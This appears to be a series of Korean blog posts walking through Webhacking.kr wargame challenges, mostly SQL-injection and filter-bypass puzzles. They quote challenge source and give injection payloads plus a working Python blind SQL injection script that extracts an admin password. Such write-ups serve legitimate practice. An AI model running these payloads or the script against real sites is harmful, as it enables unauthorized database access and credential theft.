첫 화면은 로그인 창이 뜬다.


그래서 그냥 제출을 눌러보니 Wrong이라는 메시지를 띄운다.

그런데 화면 오른쪽 하단에

source라는 버튼이 있어서 들어가보니 소스가 나왔다.

id와 pw를 post방식으로 받는데 그중 pw를 md5로 암호화 하여

쿼리문으로 집어 넣는다.

그 쿼리문은 select id from challenge_51_admin where id='$input_id' and pw = '$input_pw'"

문이다.

그래서 md5(,)문을 찾아보았다.

md5(string,raw)문에서

false면 hex로

true면 binary로 출력을 하는데

여기서는 true로 나온다.


그래도 일단은 sql injection같아서

admin으로 제출을 하면 Wrong이 뜨고


주석을 걸어도 같은 반응이라 blind sql injection은 안된다;;;

그래서 sql문을 직접 만들어 보니

id='gamja'='gamja'를 출력해 보면

gamja말고 나머지가 출력되는 것을 볼 수 있다.

그리고 항상 = true가 아니면

여집합을 출력시키는 것을 알았다;;


그렇다면 우리는 쿼리문에서 우리가 다르게 친 암호 말고의 값들이 나올수 있게 pw에 =을 포함시켜주면 된다.

그래서 md5로 encoding했을 때 나오는 값이 =이 든 값을 찾기 위해서

php문을 만들어 출력시켜 보면

이렇게 많은 값이 나온다.

(참고로 웹에서 실행 해 보고 싶다면

"http://phptester.net/"

여기로 가서 하면 된다.)

그 값을 pw로 넣어보면

51번도 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 40번  (0) 2018.01.16
Webhacking.kr 41번  (0) 2018.01.15
Webhacking.kr 61번  (0) 2018.01.12
Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 22번  (0) 2018.01.11

우선 첫 화면은 매우 심플하다

source를 눌러보자~!

get으로 받은

id가 없으면 guest이고

id는 eregi로 필터링 되며

길이가 18보다 커서는 안된다.

또한 쿼리문은 c_61에서 내림차순으로 1개의

내용물만 뽑아낸다.


우선 반응을 보기위해

일부러 필터링 되는 union을 넣어보니 

Access Denied이 뜬다.


그렇다면 id에 들어있는 내용물을 하나 뽑아보니

zombie가 나온다.

그런데 eregi로

거의 다 막혀있다;;;

그래서 뒤의 쿼리문이 필요 없이 admin만 출력해줄수 있는 것이라면

select 뒤에 어떤 값과 그 뒤에 attribute명만 치면

attribute안에 그 값이 들어있게 되어

그 값을 불러 올 수 있다.

그래서 우선 1을 불러내 보았다.

id = 1 id를 하면

id attribute안에 1을 불러왔다.

그래서 admin을 불러오니

아무것도 안나온다. 


그래서 hex로


넣어주니

61번도 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 41번  (0) 2018.01.15
Webhacking.kr 51번  (0) 2018.01.15
Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 22번  (0) 2018.01.11
Webhacking.kr 7번  (0) 2018.01.11

46번의 첫 화면이다!


우선 1이 이미 입력 되어 있어서

제출을 눌러보니

저런 글이 뜬다.

먼저 화면의 소스를 보니

index.phps로 가라고 적혀있다.


내용을 보니

제출을 누르는 창의 값은 lv이고

lv은 띄어쓰기,*,%,/은 없애고

select등등을 필터링 한다.

그리고 get으로 받은 lv값을 query문에 넣어서

q에다가 id와 cash값을 넣고

id가 admin이면 클리어 하는 문제이다.

우선 or값은 이용할 수 있는지 넣어보았더니

된다.

lv=1%0Aor%0A1=0또한

가능하다고 나온다.

그렇다면 or문으로 admin을 만들어 보자.

일단 그냥 admin으로는

정답이 안나온다.

그래서 char로 우회해서 넣어주면

46번도 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 51번  (0) 2018.01.15
Webhacking.kr 61번  (0) 2018.01.12
Webhacking.kr 22번  (0) 2018.01.11
Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10

첫 화면은 아이디와 비밀번호를 칠수 있고

join과 login 버튼이 있다.

aaa/aaa로 처 넣고 join을 눌렀더니



Done이라고 뜬다.

아마 가입된것 같다.

aaa/aaa로 로그인 해보니

user key는 암호화 된 것 같다.

그래서

암호화 된것을 여러 암호에 encoding해보니

md5암호가 길이가 유지되면서 암호문만 변경이 되었다.

그래서 md5로 decoding해보니

aaazombie라고 나온다!

아마 pw뒤에 zombie를 넣고 암호화 하나보다.


그래서 admin으로 가입을 해보니


이미 가입되어 있다고 한다!

그래서 혹시나 해서 username에  true값으로 sql injection을 해보니

wrong password!

false값으로 injection을 해 보니

wrong!만 뜬다.

취약점을 찾았다.


우선 pw의 길이를 알기위해 

길이로 값을 계속 돌려보니

pw의 길이는 32로 나온다.

blind sql injection 문제이다.

보통 나는 blind sql injection문제는 소스를 구해보거나

찾아서 고치는데

인터넷 소스는 일단 전부 python2버전으로 되어 있는 것 같고

또 안돌아갔다......

파이썬을 모르지 않지만 웹으로 주고 받는것은 안해봐서

한참을 찾아도 안나와

결국 내가 짰다...

python3버전으로 짰고 spyder로 작업했다.

import urllib.request

import http.client

import re

import requests


if __name__=="__main__":

    

    pw =""

    md5 = [num for num in range(48,58)]+[num for num in range(97,104)]

    for i in range(1,33):

        for j in md5:

            data = {"uuid":"admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"}

            data = urllib.parse.urlencode(data)

            header = {"Content-type":"application/x-www-form-urlencoded","Accept": "text/plain","Cookie":"PHPSESSID=당신의 쿠키를 쓰시오"}

            connection = http.client.HTTPConnection("webhacking.kr")

            connection.request("POST","/challenge/bonus/bonus-2/index.php",data,header)

            response = connection.getresponse()

            read = response.read()

            read =read.decode('utf-8')

            find = re.findall("Wrong password!",read)

            if find:

                print(chr(j),end='')

                break


내가 webhacking.kr문제를 풀면서

가장 짜증나고 오래걸린 문제였다.

이렇게 하면 짜자잔!

암호가 나오네?


암호 해독해 버리기~!!!

rainbowzombie가 나와 버리기~~!!!

admin을

방금 얻은 비밀번호로 로그인 해 주면

짜자잔~!!풀려버린다!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 61번  (0) 2018.01.12
Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09

먼저 첫 화면은 auth칸을 클릭 가능하게 해 놓았다.

눌러보니 Access_Denied! 이라고 뜬다.

소스를 보니

index.phps로 들어가 보라고 한다.

<html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer 
"????";

$go=$_GET[val];

if(!
$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo(
"<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(
eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(
eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if(
$rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if(
$rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if(
$rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if(
$rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if(
$rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!
$data[0]) { echo("query error"); exit(); }
if(
$data[0]!=&& $data[0]!=2) { exit(); }


if(
$data[0]==1)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>"
);
echo(
"<!-- admin mode : val=2 -->");
}

if(
$data[0]==2)
{
echo(
"<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>"
);
@
solve();





?>

<!--

index.phps

-->



</body>

</html>


소스를 보니 union을 사용해서 풀으라고 적어 놓았다.

소스를 보면 val값에 다가 값을 넣어서 get방식으로 보내는 것인데

필터링으로 다양한 값들을 걸러준다.

그리고 rand값 1~5 중 하나를 택하여

괄호의 갯수가 바뀌어 진다.

그리고 " select lv from lv1 where lv=($go)"

구문이니까

$go 즉 val값에다가 injection을 해 주는 문제이다.


먼저 val = 1) union만 입력하니

cannot use space가 뜬다.

공백은 금지한다고 위의 소스에 적혀있었다.


그래서 union을 괄호 안에다 붙이니 nice try가 뜬다.

그런데 select를 넣으니 오류가 뜬다;;;

공백을 우회해도 마찬가지 이다.


다른 정답을 봐도 이런 방향으로 가는게 맞는데

아마 이걸 봐서는 최근에 서버에 오류가 있는것 같다.

찝찝하게 스톱!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 46번  (0) 2018.01.12
Webhacking.kr 22번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 3번  (0) 2018.01.09

화면은 아주 단순하다.

소스를 보자

별거 없고 index.phps로 들어가라고 한다.

들어가 보자.


<html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT

<?

$agent
=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);

$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(
preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if(
$count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if(
$ck)

echo(
"hi <b>$ck[0]</b><p>");
if(
$ck[0]=="admin")

{
@
solve();
@
mysql_query("delete from lv0");
}


}

if(!
$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo(
"<br><br>done!  ($count_ck[0]/70)");
}


?>

<!--

index.phps

-->

</body> </html>

소스를 보면 우선 user_agent값을 불러와서 .과 /를 _로 치환하고

pat이라는 것으로 필터링을 해준다.

그리고 또 치환을 하고 user_agent값으로 lv0으로 부터 id를 가져와서

만약 그 값이 존재하는 지를 보고

그 값이 admin이면 클리어 해준다.

그 값이 없으면 들어온 값의 user_agent값과 ip값 그리고 guest로 새로 lv0에 집어넣는다.

이때 우리는 $agent값을 sql injection 해 주어 admin 값을 삽입해 주면 될 것 같다.

우선 burp suite으로 보내는 값을 잡아와 보니

user-agent 란이 보인다.


이 값을 sql injection할 값으로 바꾸어 주어

내가 admin으로 만들때 넣어줄 user-agent값을 기억해 준다.


그리고 내 값을 아까 insert 시킨 user-agent값으로 넣어주면


8번 클리어!!!!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 22번  (0) 2018.01.11
Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 3번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08

개인적으로 가장 배점이 이해안되는 쉬운문제!

$pat = "/[1-3][a-f]{5}_.*127.0.0.1.*\tp\ta\ts\ts/"

이고

$pat과 $_GET[val]이 같으면

성공하는 문제이다.

127.0.0.1은 실제로 없고 거기에 자신의 아이피가  존재할 것이다.

저 정규표현식을 아무렇게나 맞춰만 주고

주소 창에 get 방식으로

?val=답 을 써주면 된다.

나는

/111aaaaa_.127.0.0.1.%09p%09a%09s%09s/로

답을 적었다.

여기서 tab이 주소창에서 안쳐지기 때문에 그냥 url코드로 집어 넣으면 된다.


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 7번  (0) 2018.01.11
Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 3번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08
Webhacking.kr 23번  (0) 2018.01.08

이제는 퍼즐을 풀라고 한다...

우선 소스를 보면 

숫자들로 둘러쌓인 5x5의 칸들은

클릭하면 검정색을 바뀌고 다시 클릭하면 흰색으로 바뀐다.

이때 검정색은 value값이 1 흰색은 0으로 바뀌고

_answer이라는 hidden값은 그 값들을 받아서

submit해준다.

일단은 아무렇게나 클릭하면 안풀려서

퍼즐 자체를 풀어야 할 것 같다.

퍼즐은 그 줄에 몇개의 검정색이 들어가야 하는지에 대해서

말해주고 있다.

실제로 여러가지 나오는것 같던데 

막 하다보면 

이 페이지로 넘어간다.

여기서 내 아이디를 write해보니

올라간다.

값은 내가 입력한 name과

answer, 그리고 내 ip가 나온다.

answer은 보니 아까 푼 퍼즐을 1과0으로 나열해 놓은 값으로 보인다.


문제를 풀었는데 답을 안주니

다시 name을 admin으로 만들어 보았다.

근데 만들어는 지는데 변화는 없다.

그래서 answer를 바꾸어 보았지만

달리 변화는 없다.


그래서 burp suite로 intercept해보니

answer값과 id값을 &로 받는다.

그래서 answer값을 1010100000011100101011111 or 1로 넘겨보면


막혀있다.

그래서 1010100000011100101011111 || 1을 넘겨주면

답이 나온다!

3번도 클리어!


'WebHacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 8번  (0) 2018.01.10
Webhacking.kr 11번  (0) 2018.01.09
Webhacking.kr 5번  (0) 2018.01.08
Webhacking.kr 23번  (0) 2018.01.08
Webhacking.kr 33번  (0) 2018.01.05

+ Recent posts